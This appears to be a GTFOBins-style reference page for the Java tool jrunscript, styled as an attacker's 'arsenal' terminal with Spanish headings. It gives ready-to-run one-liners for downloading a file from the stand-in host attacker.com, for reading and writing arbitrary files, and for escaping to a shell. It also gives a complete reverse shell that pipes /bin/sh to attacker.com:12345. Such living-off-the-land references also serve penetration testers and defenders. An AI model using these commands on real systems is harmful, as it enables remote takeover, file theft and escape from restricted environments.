root@defcon-rd // ./arsenal/gtfobins/jrunscript
jrunscript
Nota
This tool is installed starting with Java SE 6.
./jrunscript --examples
Funciones y ejemplos de uso
download
jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'
file-read
jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
while ((line = br.readLine()) != null) { print(line); }'
file-write
jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
fw.write("DATA");
fw.close();'
reverse-shell
jrunscript -e 'var host="attacker.com";
var port=12345;
var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
var s=new java.net.Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
java.lang.Thread.sleep(50);
try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
shell
jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'
./related --binary=jrunscript
Binarios relacionados
Comparten al menos una función con jrunscript.